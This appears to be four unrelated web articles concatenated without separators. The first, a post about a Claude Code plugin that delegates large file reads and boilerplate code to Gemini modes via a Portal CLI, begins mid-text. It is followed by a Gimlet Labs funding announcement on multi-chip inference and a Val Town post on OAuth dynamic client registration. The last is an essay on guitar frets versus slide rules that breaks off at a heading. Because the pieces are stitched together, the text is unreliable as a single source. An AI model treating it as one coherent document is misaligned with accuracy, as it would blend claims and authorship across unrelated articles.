For when Claude would otherwise read multiple large files just to answer one question.

name: bulk-reader description: Bulk file reader for code analysis - delegates I/O from Claude Code instructions: You are a precise code analyst. Read the provided files and answer the question concisely. Output structured bullets only. No greetings, no prose, no preambles. Lead every bullet with the exact name, type, or line number. Use nested bullets for details. Skip anything the caller did not ask for. visibility: public model: gemini-2.5-flash resourceLimits:   temperature: 0.2 tags:   - coding   - delegation

Mode 2: code-writer

For tests, config scaffolding, type stubs or anything where the output is predictable from existing patterns.

name: code-writer
description: Boilerplate code generator - delegates output-heavy work from Claude Code
instructions: You generate code files based on a spec and reference files. Match the existing patterns, conventions, naming, and style exactly. Output only the code — no explanations, no markdown fences unless asked. If the spec is ambiguous, make reasonable choices that match the reference code's patterns.
visibility: public
model: gemini-2.5-flash
resourceLimits:
  temperature: 0.2
tags:
  - coding
  - delegation

That "output only the code" instruction matters. Without it, the model wraps everything in markdown fences and explanatory prose that Claude then has to parse through.

Routing

The first version of this was a block of routing rules in CLAUDE.md. It sort of worked: Claude would read the instructions and self-route to Portal. But it had problems. The rules were advisory, not enforced. Claude could ignore them. And every project needed its own copy of the instructions.

The current version is a Claude Code plugin called shunt. Delegation goes through the Portal CLI actions registry so the plugin works against any Portal instance with AiKA plugin enabled.

Layer 1: Hooks

Claude Code hooks fire before every tool call. Shunt registers two PreToolUse hooks:

check-file-size fires on every Read call. If the file exceeds a configurable line threshold (default: 350), the hook blocks the read and tells Claude to use the /bulk-reader skill instead. Targeted reads pass through - Claude already knows what section it needs.

check-bash-read catches cat, head, tail, less, and more on large files. Piped commands (cat file | grep) pass through since those are targeted reads.

The threshold is configurable via the SHUNT_MIN_LINES environment variable. Set it in your shell profile or in .claude/settings.json:

{   "env": {     "SHUNT_MIN_LINES": "500"   } }

Layer 2: Scripts

I have two bash scripts that wrap the Portal CLI calls. Claude calls a script with named arguments. The scripts handle everything internally: building the request, invoking the actions, unwrapping errors, and reporting token usage to stderr.

Modes are addressed by name and resolved by Portal: case-insensitively, preferring your own mode, then your team's, then public ones. Fork the public bulk-reader into a customized version and yours automatically takes precedence - no configuration needed.

bulk-read wraps each file in XML tags for clear boundaries and sends them to the bulk-reader mode along with the question.

bulk-read --question "What does this service do?" --paths src/Service.java src/Handler.java
# Follow-up: ask again with the same paths
bulk-read --question "Which methods call the database?" --paths src/Service.java src/Handler.java

Every delegation is one shot. The invocation is ephemeral (nothing is stored server-side) and re-sending the files on a follow-up is free where it matters, because the corpus goes to the worker model and never enters Claude's context.

code-write sends a spec and a reference file to the code-writer mode, strips markdown fences from the output, and can write directly to disk. Claude never sees the generated code. The reference is required: without a file to match patterns against, the worker would generate context-free code that fits nothing in your project.

code-write --spec "Write tests for UserService" --reference tests/OrderTest.java --target tests/UserTest.java
# Output to stdout
code-write --spec "Generate a config stub" --reference config/existing.yaml

Layer 3: Skills

Two skill files tell Claude when and how to call the scripts. Skills are markdown files with a description and usage examples. When the hook blocks a read, the block message points Claude to the /bulk-reader skill, which shows the exact invocation syntax.

This layering means the system degrades gracefully. Even if Claude doesn't read the skill description, the hook still blocks the expensive read. The skill just makes the redirect smoother.

The benchmarks

Tested against a Java monorepo across four scenarios, measuring tokens Claude would consume reading files directly vs. consuming the bulk-reader's summary or writing code via the code-writer. Mean bulk-read savings were around a whopping 90%.

The code-write scenario is harder to measure in tokens because without shunt, Claude both reads the reference files and generates the output as expensive output tokens. With shunt, the code goes straight to disk, Claude never sees it.

What doesn't work

You can't delegate editing. The worker model's summaries don't include reliable line numbers. If Claude needs to make edits based on the analysis, it still has to read the specific section directly. The hooks allow targeted reads (with offset/limit) for exactly this reason, so delegation saves tokens on understanding.

You can't delegate reasoning. The worker model found surface-level patterns but missed a subtle thread-safety bug in my testing. Claude spotted it in seconds once given the right context. The routing explicitly excludes debugging, architectural decisions, and safety-critical code.

Latency adds up. Each delegation is a network round-trip: Claude Code to the Portal backend to the worker model and back. Responses typically take 10–30 seconds, and Portal caps a single invocation at 30 seconds, so very large generations need to be split into smaller calls. This is acceptable for large reads, but counterproductive for small ones. The line threshold exists for this reason, below it the overhead of delegation exceeds the savings.

Token savings are just the starting point

The plugin is a Claude Code artifact, but the idea underneath is model routing powered by AiKA modes. The modes are the load-bearing piece:

• They're reusable. The same bulk-reader and code-writer modes work across every project and every tool that can shell out to the Portal CLI.

• They're shareable. Both modes are public in AiKA. Anyone can use them today without creating their own.

• They're composable. You could create a doc-writer mode for documentation, a reviewer mode for code review summaries, a translator mode for i18n. Each one is a few clicks away.

• They decouple the routing decision from the worker. The plugin decides when to delegate. The mode decides how to respond. Swap Gemini Flash for a cheaper model, change the system prompt, add MCP tools - the plugin doesn't change.

This is the real power of AiKA modes: they turn model routing from a systems engineering problem into a configuration problem. You don't build infrastructure. You describe what you want and name it.

Try it yourself

1. Install both plugins from the spotify/portal-ai-plugins marketplace: 

   1. claude plugin marketplace add spotify/portal-ai-plugins

   2. claude plugin install portal@portal 

   3. claude plugin install shunt@portal. 

The portal plugin provides the Portal CLI that shunt delegates through. 

1. In a new Claude Code session, run /portal:setup to set up and authenticate the Portal CLI against your Portal instance.

2. You’re good to go, just ask a question that spans multiple files.

The bulk-reader and code-writer modes are already public, so there is nothing to create. If you want to customize them - different worker model, different instructions - fork them in Portal and your version takes precedence automatically.

The modes are reusable across projects and shareable with your team. The plugin enforces the routing so you don't have to think about it. Learn more about modes.

Faster, More Efficient AI Inference at Scale

Today, we are announcing our $300M Series B raise, led by Andreessen Horowitz and joined by Sapphire Ventures, Menlo Ventures, 645 Ventures, Arm, Eclipse, Emergence, Factory, Hudson River Trading, M12, OnePrime Capital, Prosperity7, QuantumLight, Samsung Ventures, Tiger Global Management, Triatomic, Wing Ventures, and XTX Markets.

Since March, we’ve added billions in contracted revenue, gigawatts of datacenter pipeline, and are quickly scaling to hundreds of megawatts in managed capacity.

The Need for Throughput and Speed

Since our Series A just over 5 months ago, the demand for tokens has continued to increase at a breakneck pace. Monthly token generation has increased 6X in 12 months, with some projections stating another 20X increase by 2030.

To support this demand, the industry has embarked on perhaps the most ambitious investment project in modern history, already close to $1T per year and expected to reach a cumulative $7T by 2030. Power is quickly becoming the most critical resource bottleneck. AI data centers consumed approximately 18 GW of capacity in 2025, with that number expected to triple by 2030. Supporting this growth requires new power generation, grid capacity, interconnections, and behind-the-meter energy production. We’ll eventually hit the limits of the resources we can deliver at scale. Maximizing throughput per kW enables the industry to continue scaling while reducing the impact on physical resources.

In addition to raw throughput, we’re also seeing an increasing need for very fast inference tiers and low-latency tokens, driven by:

• Agentic workloads. Agents execute multi-step inference loops, often requiring dozens of sequential model calls and tool interactions. Latency compounds across these calls.
• Larger models. Models expanded from a few 100B parameters just a few years ago, reaching 3-10T parameters today.
• Larger context windows. In 2023, context windows were limited to about 100K tokens. Today, context windows can go to 1M tokens and more.

The industry is able to deliver high throughput or low latency individually. The problem is when these requirements compound. The throughput-interactivity Pareto chart has been widely circulated, and illustrates the tradeoffs that teams make between throughput and latency. The challenge is not only to maximize throughput, or to maximize speed, but it’s to deliver fast tokens at high throughput.

Delivering Faster, More Efficient Inference with Gimlet Cloud

When we founded Gimlet, we took the following positions:

1. AI inference will become the majority workload in software (not just in AI).
2. AI inference is significantly - as in multiple orders of magnitude - less efficient than it can/should be.
3. Therefore, AI infrastructure will need to be reimagined and rebuilt from the ground up, with inference in mind, to meet the demand of these workloads.

As the industry has moved from training to inference as the dominant workload, the fastest way to serve models has been to repurpose the same infrastructure originally built for training (and in some cases use cases like crypto mining) for inference. However, inference is fundamentally different from training, and even within inference there is a significant variety in the requirements from the underlying hardware.

Fortunately, chip designers have been actively building highly optimized AI accelerators. We now have access to vastly differentiated architectures, each coming with their own unique strengths.

At Gimlet Labs, we are building the first multisilicon cloud, built from the ground up for inference performance. Gimlet is built on heterogeneous hardware to take advantage of different types of accelerators, including GPUs, near-memory compute, dataflow architectures, and CPUs. And our software stack intelligently disaggregates workloads across these chips to run each phase of the inference workload on its most optimal silicon architecture.

By breaking up the model and running it across different types of accelerators, we are able to achieve 5-10X speedups for the same power footprint, or similar throughput improvements for the same latency. This is critical, because power is the limiting factor in AI deployments today.

Leveraging Heterogeneity with Granular Disaggregation

There are multiple ways of breaking up models and running them across heterogeneous hardware, and different splits offer different performance characteristics. In our software stack, models are traced and decomposed into different parts and scheduled on accelerators based on the workload SLAs and available hardware.

We dynamically rebalance the workload based on the available hardware, so that compute is not stranded or unused. Even if one type of hardware is fully utilized for a given task (such as decode), if the workload needs more decode instances, those can be spun up on other available hardware as needed in order to provide the necessary capacity.

The most well-known type of disaggregation is prefill/decode, where the prefill phase (which is very compute-bound) runs on one set of devices and the decode phase (which is very memory-bandwidth bound) runs on a different set. However, there are multiple other techniques as well, such as speculative-decode disaggregation and attention-ffn disaggregation. Prefill/decode disaggregation offers the lowest latency, whereas the other types provide a speedup over homogeneous deployments with higher throughput. There are also a few new types that we are working on which we will cover in future technical content.

We’re Hiring!

We’re expanding our team. We’d love to speak with you If you’re interested in joining a highly technical team of researchers, engineers, and operators, working across the full AI infrastructure stack spanning systems, datacenters, compilers, distributed systems, networking, and performance engineering.

We are building Gimlet around small teams, high ownership, and a flat organization. We want people to stay close to the work, collaborate directly, and have the freedom to solve important problems without unnecessary layers or processes.

You can check out our open positions here.

The Future of Inference

Frontier model sizes, token demand, token speed, cache lengths, and chip architectures are all growing rapidly. Software as we know it is changing, and we are thrilled to work with our customers on new product experiences that can be unlocked with a fundamental step change in both total token throughput and model speed.

Today, we are working with frontier labs and other large-scale consumers of inference, but we are ramping quickly to add more capacity to a broader audience. If you would like to learn more about getting access to low-latency inference, please reach out here. Thank you to our investors again for partnering with us on this journey.

I've long envied Zapier's extensive connectors library. I wish our app – Val Town, a vibe coding platform – could one-click connect to every app.

This is a classic n² problem, connecting every app to every other app.

My dream has always been that there could be some protocol by which any app could dynamically authenticate and authorize any other app.

Is OAuth that protocol?

Almost!

Registering OAuth Clients

The core n² problem remains: every app still needs to register as an OAuth client for every other app.

At best, registering an OAuth client is 5 minutes of clicking around a developer portal. But you never know. It can mean filling out some forms, making a demo video, signing paperwork, or, horror of horrors, getting on a video call. It's a ad-hoc, manual headache. And we all have to do it for every single app our users want to connect to.

But there's reason for hope! Anthropic and OpenAI saw this problem coming. They need a way to connect to all their customers' apps, but they didn't want to get all those OAuth clients. So they put a little-known OAuth extension into the spec for MCP: Dynamic Client Registration (DCR).

Dynamic Client Registration (DCR)

DCR automates the client registration problem. Instead of requiring a human to manually get an OAuth client, your app dynamically provisions one, and then immediately starts the OAuth flow to this app it had never heard of before. This is the dream!

At my startup Val Town, we learned about DCR while building our MCP server / plugin, which is what enables you to OAuth into Val Town from Claude and ChatGPT.

But the benefits don't end with just Claude and ChatGPT. Any app can dynamically register an OAuth client with Val Town, and connect to their users' Val Town accounts.

Login with DCR

For example, on top of this primitive, we created std/oauth, a middleware library that adds "Login with Val Town" OAuth to your Val Town app in 2 lines of code. This is literally a whole app:

/** @jsxImportSource https://esm.sh/hono/jsx */
import { Hono } from "https://esm.sh/hono";
import {
  getOAuthUserData,
  oauthMiddleware,
} from "https://esm.town/v/std/oauth/middleware.ts";
const app = new Hono();
app.get("/", async (c) => {
  const session = await getOAuthUserData(c.req.raw);
  return c.html(
    <html>
      <body>
        {session?.user
          ? <p>Logged in as {session.user.username}</p>
          : <a href="/auth/login">Log in</a>}
      </body>
    </html>,
  );
});
export default oauthMiddleware(app.fetch);

Try it out below:

There is no extra set up step. If you hit "remix" on Val Town, you'll have a copy of that app, and "Login with Val Town" authentication will immediately work. Your app's OAuth client to Val Town will be created behind the scenes when the first user logs in.

To be clear, there's no magic here because Val Town runs both the authorization server and the app's infrastructure. This library could be adapted to run on any infrastructure, and for any authentication provider that supports DCR.

It gets better.

DCR, while solving most of the OAuth client registration problem, can be somewhat painful to implement. (Paul Carleton from the MCP team explains more here.)

Enter Client ID Metadata Documents (CIMD).

CIMD means you don't have to pre-register an OAuth client at all. Instead you can self-host your OAuth client data at a URL, and then initiate an OAuth flow right away.

For example, Notion's CIMD link is https://mcp.notion.com/.well-known/oauth-authorization-server, which returns:

{
  "issuer": "https://mcp.notion.com",
  "authorization_endpoint": "https://mcp.notion.com/authorize",
  "token_endpoint": "https://mcp.notion.com/token",
  "registration_endpoint": "https://mcp.notion.com/register",
  "scopes_supported": [
    "default"
  ],
  "response_types_supported": [
    "code"
  ],
  "response_modes_supported": [
    "query"
  ],
  "grant_types_supported": [
    "authorization_code",
    "refresh_token",
    "urn:ietf:params:oauth:grant-type:jwt-bearer"
  ],
  "authorization_grant_profiles_supported": [
    "urn:ietf:params:oauth:grant-profile:id-jag"
  ],
  "token_endpoint_auth_methods_supported": [
    "client_secret_basic",
    "client_secret_post",
    "none"
  ],
  "revocation_endpoint": "https://mcp.notion.com/token",
  "code_challenge_methods_supported": [
    "plain",
    "S256"
  ],
  "client_id_metadata_document_supported": true,
  "introspection_endpoint": "https://mcp.notion.com/introspect",
  "introspection_endpoint_auth_methods_supported": [
    "client_secret_basic",
    "client_secret_post",
    "none"
  ]
}

Any app that supports CIMD can start an OAuth flow with Notion immediately – whenever a user requests it – even if that app had never heard of Notion before.

All together now

Thousands of apps now support DCR and hundreds support CIMD. I can't remember a time where a new software protocol spreads this quickly. In our rush to all make MCP servers that play with ChatGPT and Claude, we've inadvertently made our apps connectable to each other as well.

So I took it to the logical extreme, and built this live demo app with 3,613 connectors:

The mind-blowing part is that if you deploy a copy of this app yourself – ie by clicking "remix" here on Val Town – all the connectors will instantly work. You won't need to get a single OAuth client.

The dream is closer

As you may have noticed, we're not yet living the dream. Even us at Val Town haven't shipped connectors to all these apps. There are still problems to be solved, mostly stemming from the fact that these new protocols weren't designed to solve this connect-all-the-apps problem.

Problem #1: Actually supported dynamic registration

Many of these dynamic client registration endpoints aren't truly dynamic. For example, if you try (in my app above) to connect to Google Ads, you'll get this error message: redirect host not in platform catalog: oauth-demos.val.run. In other words, they don't support truly dynamic registration; we still need to be pre-registered in their catalog.

Problem #2: MCP vs REST API

DCR/CIMD may only work for MCP. It might not authorize you to make normal REST API calls. This is a potentially tricky problem for us at Val Town as a vibe coding platform.

For example, say you want to build a Stripe dashboard in Val Town. We can easily use DCR to connect you to Stripe via MCP. However, that will not work for their REST API.

The problem here is more social convention than technical: while you technically can write code to build a dashboard by calling Stripe's MCP server instead of its API server, that's not how you're supposed to interact with an MCP server. I believe, this is the single core difference between REST API vs MCP: the promise of stability. Stripe in particular goes to great lengths to ensure your REST API calls will always work. That's important because code is brittle. If the API changes, the code breaks.

However, the convention with MCPs is that there is inference on both sides of the call. An LLM can read the MCP toolset before invoking them, and if they get an error or changed behavior, the LLM can error-correct and make more MCP calls until it succeeds. By way of metaphor, an MCP server is the AI equivalent of a user interface (UI), because UIs also don't have any promise of stability, and for the same reason: there's inference (a person) on both sides of any action. Unlike code, a person notices when in a UI buttons move, or when buttons suddenly do different things, and can error-correct in real time.

One solution here is that application could allow DCR/CIMD for their API, or allow the tokens obtained through either means work on either surface – given the requisite resource permissions. That's how it works in Val Town currently. Any token you obtain from DCR works both with our MCP and our REST API.

Problem #3: OSS & Tooling

There should probably be some sort of public registry of all these connectors. I scraped my list from mcpservers.org.

We also need good open-source tooling on how to easily connect to them all. Maybe the OSS library could look like the Zapier SDK, Pipedream Connect, or Nango.

No clicks, no keys

As we've seen above, DCR/CIMD allows you to authorize to other apps you have accounts at.

But there's another category of problem: accessing a pay-per-use API that you don't have an account at. Maybe x402 solves the other half of this problem, the payment part, so you don't need an account with your credit card attached to immediately be able to pay for premium APIs.

Together, DCR/CIMD and x402 point towards a future of apps without API keys as env variables. In the age of vibe coding – where generating the whole app takes mere minutes – not having to have a human get and set an API key is a huge reduction in drudgery, and a huge step forward for malleable software.

I’m sure that some pictures are worth a thousand words, but others trigger a whole lot of puzzlement. Such was the case with the cover of a book I recently bought entitled Calculating with Tones: The Logarithmic Logic of Music:

This book was published by the Oughtred Society, an organization named in honor of William Oughtred, the Anglican clergyman and mathematician who is credited with inventing the first logarithmic slide rule around 1622. The Oughtred Society was founded in 1991, “dedicated to the preservation and history of slide rules and other calculating instruments.” Their website contains a wealth of useful information on the subject.

Although the Oughtred Society website still has a page dedicated to this book, they don’t seem to be selling it at this time, and a second edition is not available directly through the society.

This cover illustration intrigued me because logarithms are involved both in our perception of musical pitch and in the construction of a slide rule. As I discuss in my web-book-in-progress The Lost Art of Logarithms, logarithms and the slide rule were originally invented to ease the tedious processes of multiplication and other mathematical tasks, but they continue to be vital for many reasons, including the understanding of our perceptions of the natural world.

But this cover illustration seems to imply a direct correspondence between the spacing of tick marks on a slide rule and the irregular spacing of frets on a guitar, and even suggests that guitar frets are spaced in such a way that they could be used to perform multiplications just like with a slide rule. Why else would the book be entitled Calculating with Tones?

The illustration is reproduced on page 34 of the book with a caption that includes a description of both halves of the graphic:

Guitar: Frets are positioned on the neck of the guitar to help locate the individual notes. The distance from one to the next becomes shorter as the frets get closer to the lower bridge. The reduction is logarithmic.

Slide Rule: The scale on the slide rule corresponds to a logarithmic function. When using the slide rule, one carries out multiplication by adding distances. The progressive decrease in distance between marks on the slide rule corresponds to the same thing on the neck of the guitar.

Despite how compelling that illustration and description are, something bugged me. It seemed fundamentally wrong, and yet I couldn’t pinpoint the exact problem.

Multiplying with Guitar Frets

I knew what I had to do. First I had to get a guitar such as this one:

Guitar image from Wikipedia by Martin Möller, CC BY-SA 2.0 DE via Wikimedia Commons; modifications by me

If your video display is not wide enough to show this entire guitar, you can use touch or the mouse to drag it horizontally into view.

If this guitar is truly capable of multiplying numbers, some numeric labels need to be added to it. Contrary to the terminology on the cover of Calculating with Tones, the guitar string is suspended between the nut at the left of this illustration and the saddle at the right. Those mounts hold the strings in place and govern their effective lengths when they are strummed or plucked when the strings are not pressed against any frets. Midway between the nut and saddle is the 12th fret, which effectively divides the string in half to play a pitch an octave higher than the string alone.

It’s a little hard to see, but in the cover illustration, the nut is lined up with the 1 on the all-important C and D scales of the slide rule, and the 12th fret is lined up with the 2. Let’s transfer these numbers to the guitar:

Between these two points are 11 frets, which must obviously be labeled as fractions of 12 between 1 and 2:

Many of these fractions can be expressed in reduced forms, and that’s what I’ve done here:

The next step is to saw the guitar in half:

Sorry, but it has to be done. Make a nice clean cut from top to bottom.

Now the two pieces can be put back together but with the freedom to slide one part relative to the other:

Use touch or the mouse to drag the top half of the guitar to the right to multiply two numbers. (If the bottom half of the guitar can’t fit on your screen, you can continue to horizontally scroll it.)

For example, suppose you want to multiply 7/6 by 3/2. Move the top half of the guitar so that the 1 on the top is aligned with the 7/6 on the bottom:

Now find 3/2 on the top half. Opposite that on the bottom is the product: 7/4, which is indeed 7/6 times 3/2.

Most of the other number combinations require some interpolation between the frets, and that’s not always easy, particularly because I’ve labeled the frets with fractions rather than decimals. But a couple other combinations work well, such as 5/4 times 4/3 equaling 5/3, and 4/3 times 3/2 equaling 2.

Just off hand, it seems as if this experiment is a success: Guitar frets can definitely multiply!

No, Guitar Frets Can Not Multiply.

Are you ready for my celebratory triumphalism to be brutally mocked?

Most acoustic guitars have 18 or 19 frets, so I can’t use those guitars to experiment with fret-based multiplications much beyond products of 2. But electric guitars often have more frets, sometimes as many as 24, which allow for each string to have a two-octave range.

I found a good image of a two-octave electric guitar on the website of the musical instrument manufacturer Donner. This is the inexpensive Donner DMT-100:

Donner DMT-100: from their website; modifications by me

Notice the two sets of double dots on the neck. These mark the one-octave fret and the two-octave fret. The one-octave fret effectively divides the string in half, while the two-octave fret divides the remaining length in half again.

The nut and the frets can be labeled similarly to the acoustic guitar, but how should I label the two-octave fret?

On the cover illustration of Calculating with Tones the nut is aligned with 1 on the C and D scales of the slide rule, the 12th fret is aligned with 2, but the saddle is aligned with 4:

You can click this to see a larger version.

Although the corresponce between the guitar frets and the slide rule seems to work well for the first octave, the 24th fret is midway between the 12th fret and the saddle, but that approximately corresponds with 2.8 on the slide rule. What does that mean? And what does it mean that the 4 on the slide rule corresponds with the guitar saddle? The slide rule continues with 5, 6, and so forth up to 10, but guitar frets can’t go beyond the saddle.

Despite my concerns, I have no choice but to continue labeling the electric guitar frets up to 3:

Now it’s time to saw this guitar in half:

Don’t weep. That’s the guitar’s job.

The two halves can be put back together for another fret-based multiplication tool:

Slide the top half to the right to multiply. It’s now easy to find pairs of numbers that do not work right. For example, here’s a multiplication of 3/2 and 2, which should equal 3:

When the 1 on the top half is aligned with the 3/2 on the bottom, the 2 on the top is some distance beyond the 3 on the bottom.

Why does this fret-based slide rule seem to work for one octave but not for two octaves?

I’m afraid this subject warrants a deeper dive.

How a Real Slide Rule Works (Briefly)

It seems as if guitar frets are partially mimicking a slide rule but not quite nailing it.

Logarithms were invented to simplify the multiplication of multi-digit numbers. Today we understand logarithms as the inverse of exponentiation. If

then the decimal (base-10) logarithm of y is defined like this:

It’s well known that if two powers of 10 are multiplied, then the exponents can be added:

It can then be shown (as I laboriously demonstrate in Chapter 3 of The Lost Art of Logarithms) that the sum of the logarithms of two numbers is the same as the logarithm of the product of those two numbers:

The slide rule effectively implements this calculation in a pair of sliding rulers. How these rulers are constructed is the job of Chapters 6 and 7 in The Lost Art of Logarithms.

Here is the beginning of the making of a 10-inch logarithmic scale. Each number on the scale is positioned based on the total length of the scale (10 inches in this case) multiplied by the number’s decimal logarithm. The scale starts with 1 because the logarithm of 1 is zero:

If this ruler is too wide to fit on your browser page, you can use touch or the mouse to scroll it horizontally into view.

In the old days, these logarithms would be obtained from a book. You can alternatively use a calculator. Most computer-based calculators must be switched into Scientific mode to get access to the log key. Phone-based calculators often have to be turned sideways.

You could continue with some fractional numbers:

Eventually you end up with something like this:

The distance of each of those tick marks from the beginning of the logarithmic scale is equal to 10 inches times the logarithm of the number represented by that tick mark.

Put two of these logarithmic rulers face to face (as William Oughtred did in 1622) and you have a slide rule:

I’ve also added a covenient hairline that you can drag with the blue circle. I’ve initialized this slide rule to show the multiplication of 1.56 and 2.72, but you can drag the top ruler and the blue circle with the hairline to experiment with other multiplications. You want to align the 1 on the top scale with the first number that you’re multiplying on the bottom scale. Then align the hairline with the second number that you’re multiplying on the top scale. The hairline shows the product on the bottom scale, in this case 4.24.

But it’s much more versatile than multiplying small numbers. Multiplying 1.56 and 2.72 is basically the same as multiplying 15,600 by 27.2, or 0.0156 by 0.000272. The only difference is the decimal point in the result.

If you can’t multiply the two numbers by shifting the top scale to the right, shift it to the left. Move the 10 on the top scale to align with the first number on the bottom scale. Here’s 8 times 7:

In this case you have to shift a decimal point to the right to get the product of 56.

You can also use this slide rule to divide: Align the dividend on the bottom scale with the divisor on the top scale. The quotient is on the bottom scale aligned with the beginning or end of the top scale.

There’s no magic here. All you’re doing is adding or subtracting ruler lengths. But because the numbers on the rulers are logarithms, then the numbers are effectively being multiplied. Here’s a little demonstration showing the ruler lengths with the same two numbers I used in my first example:

For each position of the top scale and the hairline, you can see that the two widths on the top add up to the width on the bottom. But these widths correspond to logarithms of numbers on the scale, so these numbers are effectively being multiplied.

Are guitar frets positioned similarly? And can those positions be quantified in a similar way to reveal why they can sometimes multiply and sometimes not?

Our Logarithmic Perception of Pitch

It might seem reasonable that guitar frets are spaced logarithmically because our perception of musical pitch is logarithmic.

What do I mean by that?

Sound is vibration. The frequency of a vibration — how many times the vibrating thing goes back and forth every second — is specified in hertz (abbreviated Hz), named after Heinrich Rudolf Hertz, the first person to prove the existence of electromagnetic waves. (Before the adoption of hertz in the 1960s, the rate of vibration was specified in the self-explanatory units of cycles per second or cps.)

Humans can generally hear sounds with frequencies between 20 Hz and 20,000 Hz, but this varies by person and age. As we get older, our ability to hear higher frequencies often deteriorates.

However, we don’t perceive these frequencies linearly. In other words, we do not perceive the difference between 1000 Hz and 2000 Hz to be the same as the difference between 2000 and 3000 Hz. Instead, we perceive the difference between 1000 and 2000 Hz to be the same as the difference between 2000 and 4000 Hz.

This doubling of frequency is perceived as a change in pitch called the octave, which forms the basis of music throughout the world. As an easy reference, sing the first two notes of the verse “Somewhere over the rainbow.” That’s an octave leap. Whether the song is being sung by Björk or Barry White, the frequency doubles from the “some” to the “where.”

As I discuss in excruciating detail in the as-yet-unfinished Chapter 13 of The Lost Art of Logarithms, music within the Western tradition evolved to have 12 steps to the octave. The labeled keys on this piano illustrate a progression of octaves over much of the range of the piano:

Each pair of consecutive labeled keys is a doubling of frequency and hence an interval of an octave. Middle C is the key marked with a tiny dot, and all the labeled keys are A’s. I used A because standard tuning sets the A above middle C to be 440 Hz. The frequencies of all the other A keys can then be calculated by progressively doubling or halving 440. These various A keys can be differentiated with so-called scientific pitch names using a subscripted number for the octave. These eight labeled keys are denoted as A₀, A₁, A₂, A₃, A₄, A₅, A₆, and A₇,

Each of the 12 steps in an octave is known as a semitone.

And yes, these words make no sense. The word “octave” seems to imply eight of something, and the word “semitone” seems to suggest half of something. A lot of this terminology originated many centuries ago, and it made sense at the time, but today we’re simply stuck with it.

Over many centuries, there evolved various ways that these 12 notes in the octave would be tuned. (Again, Chapter 13 of The Lost Art of Logarithms has much more detail.) But beginning in the late 16th century, some musicians and theorists began advocating that each semitone step be the same. This is a type of tuning known as equal temperament and it dominates Western music today, although not without some dissension.

What does it mean that there are 12 equal semitones between 220 and 440 Hz, and also between 440 and 880 Hz? It means that the semitone cannot be a fixed number of hertz but must instead be a multiplication. The semitone has to be a number than when multiplied by itself 12 times equals 2, the doubling of frequency associated with the octave. This number is commonly expressed as the twelfth root of 2:

or as 2 to the 1/12th power:

For us today, it is easy to calculate that number. Actually, that’s not true. What’s easy for us is to punch that expression into a calculator. In the Windows Calculator, for example, it’s accomplished by switching to Scientific mode, then punching in 2, the x^y key, the left parentheses, the 1 key, the divide (÷) key, then 12, the right parentheses, and the equal (=) key.

The 12th root of 2 is an irrational number; there is no exact value. The calculator can only give an approximate value, which here I’ve approximated even more:

If you multiply that number by itself 12 times, you get a result of about 2. To keep things simple, you can use 1.059 or 1.06 in a pinch as an even grosser approximation.

Suppose you number all the black and white keys on the piano keyboard from left to right beginning at 1 (the note A₀) and ending with 88 (the note C₈). The note A₄ has a key number of 49, and when the piano is tuned conventionally, a frequency of 440 Hz. From that starting point, you can then calculate the frequency of any key on the piano using this formula:

Or you can go the other way by expressing this relationship with a logarithm. But because we’re dealing with powers of 2, it has to be a binary (base-2) logarithm:

Those two statements are equivalent.

We perceive the 88 keys of the piano to be equal steps in pitch. Yet those key numbers are logarithms of the frequency. This is what I mean when I assert that our perception of pitch is logarithmic.

Frequency and String Length

The piano, harp, violin, and guitar all make sounds with vibrating strings. The frequency of a vibrating string depends on four factors:

• the material that it’s made of,

• its thickness,

• its tension, and

• its length.

Musical instruments often contain strings of a variety of materials, thicknesses, and lengths, and the strings are tuned by adjusting the tension. But once a particular string is tuned, everything remains constant except (potentially) its length.

This is certainly the case for a guitar. For any particular string, the frequency is governed entirely by the length of the portion of the string that’s vibrating, which depends on which fret the string has been pressed against. (Well, that’s not entirely true. The tension of the string slightly increases when it’s pressed against the fret, but let’s try to retain our sanity by ignoring that.)

Fortunately, the relationship between a vibrating string’s frequency and its length is very straightforward: They are inversely proportional. The longer the string, the lower the frequency. Divide the length in half, and the frequency is doubled for a leap of one octave.

Fretting the Guitar

The frets of a guitar must therefore be positioned so that each successive fret increases the string’s frequency by a factor of 1.059. Because the frequency is inversely proportional to the length, each fret must effectively shorten the length of the string by the inverse of the semitone multiplier. One way to express this is as 1/2 to the 1/12th power:

I’ll use the grosser approximation of 0.944 to make these sample calculations a little easier. Furthermore, let’s assume that the length of the guitar string from the nut to the saddle is 100 centimeters:

The first fret must be 0.944 times that length, or 94.4 centimeters from the saddle and hence 5.6 centimeters from the nut:

The second fret gets messier. It must be positioned so the string has an effective length of 94.4 times 0.944, or 89.1 centimeters.

You can also calculate 89.1 centimeters by multiplying 100 centimeters by 0.944 squared. That second fret is 10.9 centimeters from the nut, or 5.3 centimeters below the first fret. The spacing between the frets is decreasing already.

This process continues. Each fret must reduce the length of the string to 0.944 times the length associated with the previous fret:

That 84.1 length is 100 times 0.944 cubed. And again:

The space between the frets continues to progressively decrease. The distance from the 4th fret to the 5th is 4.7 centimeters.

Eventually you get to the 12th fret, which reduces the string to half its original length:

The twelfth fret is positioned at 100 centimeters times 0.944 to the twelfth power, or 50 centimeters from the saddle, effectively reducing the string to half its length.

You can increase the range of the guitar by another octave with another 12 frets.

The 24th fret divides the string in half again.

The length of the string from a fret to the saddle can be calculated like this:

The distance of any fret from the nut can be calculated like this:

The nut is assumed to have a fret number of 0, so the fret distance for the nut is also 0. The 12th fret has a fret number of 12, so the fret distance is half the string length.

Building a Fret-Based Slide Rule

Notice that no logarithms were involved in the development of the formula for computing fret positions. Nevertheless, now that I have such a formula, I can make my own fret-based slide rule without sawing any more guitars in half. I think I established at the outset that only the first octave of frets seems to function like a conventional logarithmic slide rule. Including the second octave of frets throws the whole thing off.

So let’s take that first octave of frets and label it exactly as I labeled the acoustic guitar with fractions between 1 and 2:

Now let’s make another ruler the same way but with the tick marks on the top rather than the bottom:

You can place these two rulers together and use touch or the mouse to move the top ruler relative to the bottom:

You can try out a couple of the multiplications not requiring interpolation, such as 7/6 times 3/2 or 5/4 times 4/3, and now you might notice that it’s not exact. The tick marks don’t line up precisely. This might have been forgivable when awkwardly grappling with two pieces of a guitar sawed in half, but if the guitar frets were spaced logarithmically, that would not happen.

I can’t make these rulers longer by including the second octave of guitar frets. We already know that’s a disaster. However, logarithmic slide rules are self-similar. The part of the slide rule from 2 to 4 is the same as from 4 to 8 except that the numbering is double:

I can even crank the scales up to 10:

Try 5/2 times 8/3, which should be 20/3, but it just doesn’t line up right.

So is this real or is it fantasy?

A Tale of Two Ruler Scales

